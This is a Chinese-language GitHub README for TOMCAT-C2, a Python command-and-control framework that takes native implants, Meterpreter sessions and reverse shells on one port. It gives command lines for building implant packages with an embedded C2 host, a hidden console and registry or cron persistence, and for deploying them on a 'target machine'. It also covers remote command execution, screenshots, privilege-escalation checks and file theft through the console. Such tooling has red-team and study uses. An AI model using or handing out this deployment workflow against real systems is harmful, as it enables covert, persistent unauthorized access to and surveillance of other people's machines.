XTM26/TOMCAT-C2
GitHub: XTM26/TOMCAT-C2
一个基于 Python 的多协议 C2 框架,支持在单端口上同时管理原生 Agent、Meterpreter 和反向 Shell 连接,内置 PKI 与 mTLS 加密保障通信安全。
Stars: 2 | Forks: 0
# TOMCAT C2 框架
```
___________________ _____ _________ ________________ _________ ________
\__ ___/\_____ \ / \ \_ ___ \ / _ \__ ___/ \_ ___ \ \_____ \
| | / | \ / \ / \/ \ \/ / /_\ \| | / \ \/ / ____/
| | / | \/ Y \ \____/ | \ | \ \____/ \
|____| \_______ /\____|__ /\______ /\____|__ /____| \______ /\_______ \
\/ \/ \/ \/ \/ \/
TOMCAT C2 Frameworks
```
**作者:** XTM26
**GitHub:** [XTM26](https://github.com/XTM26)
## 概述
TOMCAT C2 是一个多协议命令与控制(Command & Control)框架,在单个端口上支持三种类型的传入连接:原生 TOMCAT agent、Meterpreter 会话和通用的反向 shell。它支持双向 TLS (mTLS) 用于经过身份验证的加密 agent 通信,并内置 PKI 来管理证书。
## 功能特性
- **多协议** — 单个监听器可同时接收 TOMCAT agent、Meterpreter 和反向 shell
- **mTLS 支持** — 使用 CA 签名的客户端证书进行双向 TLS;只有经过授权的 agent 才能连接
- **Fernet 加密** — 所有 TOMCAT agent 流量均使用对称 Fernet 密钥进行端到端加密
- **三种界面** — CLI、Web 面板 (Flask) 和 Tkinter GUI
- **内置 PKI** — 从 CLI 生成 CA、服务器证书以及每个 agent 的专属证书
- **Agent 打包** — 自动生成包含预配置证书和脚本的、随时可部署的 agent 文件夹
- **证书管理** — 列出、生成和撤销 agent 证书
- **文件传输** — 从/向 agent 上传和下载文件
- **会话命令** — `sysinfo`, `screenshot`, `elevate`, `cd`, `download`, `upload`, `stoptask`
- **持久化** — 为 agent 提供可选的 Windows(注册表)和 Linux(Cron)持久化机制
- **多会话** — 同时与多个会话进行交互
## 安装说明
```
git clone https://github.com/XTM26/TOMCAT-C2.git
```
## 系统要求
```
Python 3.8+
cryptography
flask (for Web Panel mode)
pysocks
```
安装依赖项:
```
pip install -r requirements.txt
```
## 项目结构
```
.
├── start.py # Entry point
├── AGENT/
│ └── tomcatv2a.py # Agent template
├── IMPLANT/ # Generated agent packages (auto-created)
├── Certs/ # Server certificates (auto-created)
│ ├── ca-key.pem
│ ├── ca-cert.pem
│ ├── server-key.pem
│ ├── server-cert.pem
│ └── Agent```` # Per-agent certificates
├── Downloads/ # Files received from agents (auto-created)
├── Cores/
│ ├── App/
│ │ ├── App.py # Web Panel (Flask)
│ │ ├── Cli.py # CLI Interface
│ │ └── Gui.py # Tkinter GUI
│ └── Systems/
│ ├── Server.py # Standard TOMCAT-only server
│ ├── MultiProtocolServer.py # Multi-protocol server
│ ├── CertificateManager.py # PKI / certificate management
│ └── Cryptography.py # Fernet encryption wrapper
└── Config/
├── Color.py
├── Logo.py
├── Helper.py
└── templates/
│ └── index.html
│
└── static/
├── css/
│ └── style.css
└── js/
└── script.js
```
## 快速开始
### 1. 初始化证书(mTLS 必需)
```
python3 start.py --init-certs
```
可以选择指定服务器的公网 IP,以使证书的 SAN 匹配:
```
python3 start.py --init-certs --server-host 192.168.1.10
```
### 2. 生成 Agent 包
```
python3 start.py --gen-agent myagent --agent-host 192.168.1.10 --agent-port 4444 --agent-mtls
```
此操作会创建 `IMPLANT/MYAGENT/` 文件夹,其中包含:
```
IMPLANT/MYAGENT/
├── tomcatv2a.py # Pre-configured agent script
├── agent-key.pem
├── agent-cert.pem
├── ca-cert.pem
└── README.txt
```
将整个文件夹复制到目标机器并运行:
```
python3 tomcatv2a.py
```
### 3. 启动服务器
**CLI 模式(仅标准 TOMCAT):**
```
python3 start.py -C
```
**带 mTLS 的 CLI 模式:**
```
python3 start.py -C -T
```
**带 Meterpreter + mTLS(所有协议)的 CLI 模式:**
```
python3 start.py -C -M -T
```
**Web 面板(默认):**
```
python3 start.py
```
## 命令参考
### `start.py` 参数
| 参数 | 完整形式 | 描述 |
|------|-----------|-------------|
| `-i` | `--init-certs` | 初始化 CA 和服务器证书 |
| `-a ID` | `--gen-agent ID` | 生成 agent 证书和包 |
| `-m` | `--gen-multi-agent` | 生成多个 agent |
| `-c N` | `--gen-agent-count N` | 要生成的 agent 数量(默认:10) |
| `-u PREFIX` | `--gen-agent-prefix PREFIX` | Agent 名称前缀(默认:agent) |
| `-l` | `--list-agents` | 列出所有已颁发的 agent 证书 |
| `-r ID` | `--revoke-agent ID` | 撤销一个 agent 证书 |
| `-T` | `--mtls` | 在服务器上启用 mTLS |
| `-M` | `--meterpreter` | 启用多协议模式(Meterpreter + RevShell) |
| `-w HOST` | `--host HOST` | Web 面板绑定主机(默认:0.0.0.0) |
| `-p PORT` | `--port PORT` | Web 面板端口(默认:5000) |
| `-S HOST` | `--server-host HOST` | 嵌入到服务器证书 SAN 中的主机 |
| `-ah HOST` | `--agent-host HOST` | 嵌入到生成的 agent 脚本中的 C2 主机 |
| `-ap PORT` | `--agent-port PORT` | 嵌入到生成的 agent 脚本中的 C2 端口 |
| `-am` | `--agent-mtls` | 在生成的 agent 中启用 mTLS |
| `-hc` | `--hide-console` | 在生成的 agent 中隐藏控制台窗口 |
| `-ps` | `--persistence` | 为生成的 agent 添加持久化 |
| `-C` | `--cli-mode` | 使用 CLI 界面启动 |
| `-G` | `--gui-mode` | 使用 Tkinter GUI 启动 |
| `-W` | `--web-mode` | 使用 Web 面板 启动 |
### CLI 会话命令
| 命令 | 描述 |
|---------|-------------|
| `sessions` | 列出所有活动会话 |
| `use ` | 进入某个会话的交互式 shell |
| `exec ` | 在某个会话上执行单条命令 |
| `kill ` | 终止某个会话 |
| `status` | 显示服务器状态和运行时间 |
| `stats` | 会话类型细分(TOMCAT / Meterpreter / Shell) |
| `logs` | 查看近期事件日志 |
| `clear` | 清除终端 |
| `help` | 显示命令参考 |
| `exit` | 停止服务器并退出 |
### Agent 命令(在 `use ` 内部)
| 命令 | 描述 |
|---------|-------------|
| `sysinfo` | 完整的系统信息 |
| `elevate` | 检查权限提升机会 |
| `screenshot` | 捕获并下载屏幕截图 |
| `download ` | 从 agent 下载文件 |
| `upload ` | 上传文件到 agent |
| `dl ` | download 的别名 |
| `cd ` | 更改 agent 上的工作目录 |
| `stoptask` | 终止当前正在运行的命令 |
| `back` | 返回主控制台 |
| 任何 shell 命令 | 通过目标上的 `subprocess` 执行 |
## mTLS 架构
```
C2 Server Agent
───────── ─────
ca-cert.pem ◄── shared trust ──► ca-cert.pem
server-key.pem agent-key.pem
server-cert.pem agent-cert.pem
│ │
└──────── TLS mutual auth ─────────┘
```
CA 同时签署服务器证书和每一个 agent 证书。在 TLS 握手期间,双方都会根据同一个 CA 验证对方。没有有效 CA 签名证书的 agent 会在 SSL 层被拒绝,而不会进行任何 C2 协议通信。
## 多协议模式 (`-M`)
使用 `-M` 启动时,服务器会根据每个传入连接的前几个字节检测会话类型:
| 前几个字节 | 检测为 |
|-------------|-------------|
| TLS ClientHello (`0x16 0x03`) | TOMCAT agent(先进行 SSL 包装,随后进行识别) |
| Meterpreter 长度前缀头 | Meterpreter 会话 |
| 可打印的 UTF-8 / shell 提示符 | 反向 shell |
这使得单个端口可以同时接受所有三种类型的连接而无需重新配置。
## 证书管理
```
# 初始化 CA + 服务器证书
python3 start.py --init-certs
# 生成单个 agent 包(已启用 mTLS)
python3 start.py -a agent01 -ah 10.0.0.1 -ap 4444 -am
# 生成 5 个带有前缀的 agent
python3 start.py -m -c 5 -u op1 -ah 10.0.0.1 -ap 4444 -am
# 列出所有已签发的 agent 证书
python3 start.py -l
# 吊销 agent 证书
python3 start.py -r agent01
```
证书存储在 `Certs/` 中。Agent 证书存储在 `Certs/AgentTCF/` 中。元数据(创建日期、路径)记录在 `Certs/Metadata.json` 中。
| 证书 | 有效期 |
|-------------|----------|
| CA | 10 年 |
| Server | 1 年 |
| Agent | 1 年(默认) |
## Agent 配置
生成的 `tomcatv2a.py` 包含由 `start.py` 预填充的以下变量:
```
ServerHost = "192.168.1.10"
ServerPort = 4444
UseMTLS = True
HideConsole = False
AddPersistence = False
```
要在不使用 mTLS 的情况下部署(纯 TCP),请在生成 agent 时省略 `-am`:
```
python3 start.py -a myagent -ah 192.168.1.10 -ap 4444
```
## 已知问题 / 已应用的修复
**Bug(已在 `MultiProtocolServer.py` 中修复):** 当同时使用 `-M` (MeterpreterMode) 和 `-T` (mTLS) 运行时,使用 `UseMTLS=True` 的 TOMCAT agent 无法连接。根本原因是:
1. `StartServer()` 和 `SessionHandler()` 使用 `and not self.MeterpreterMode` 来保护 SSL 设置,因此从未进行 SSL 包装。
2. `IdentifySession()` 检测到来自 agent 的 TLS ClientHello 后立即关闭了连接。
此修复基于对前几个字节的 **窥探 (peek)** 来应用 SSL 包装——纯 TCP 客户端(Meterpreter、反向 shell)直接通过而不包装,而 TLS 客户端(TOMCAT agent)在识别之前先进行包装。
## 安全说明
- 妥善保管 `ca-key.pem` 和 `server-key.pem`,绝不要将它们部署到 agent 上。
- 每个 agent 都会收到自己独一无二的密钥对;撤销其中一个不会影响其他 agent。
- 如果没有使用 `-T`/`--mtls`,任何完成 TOMCAT 握手的客户端都将被接受——请在生产环境中使用 mTLS。
- Fernet 密钥是临时的(在服务器启动时生成);重启服务器将使所有现存的 agent 会话失效。
标签:Azure 安全, C2框架, Fernet加密, Flask, IP 地址批量处理, Meterpreter, mTLS, Python, Tkinter, 协议分析, 反向Shell, 命令与控制, 多协议监听, 安全学习资源, 攻击路径可视化, 数字证书管理, 文件传输, 无后门, 本体建模, 权限提升, 网络信息收集, 网络安全, 远控木马, 逆向工具, 隐私保护, 黑客工具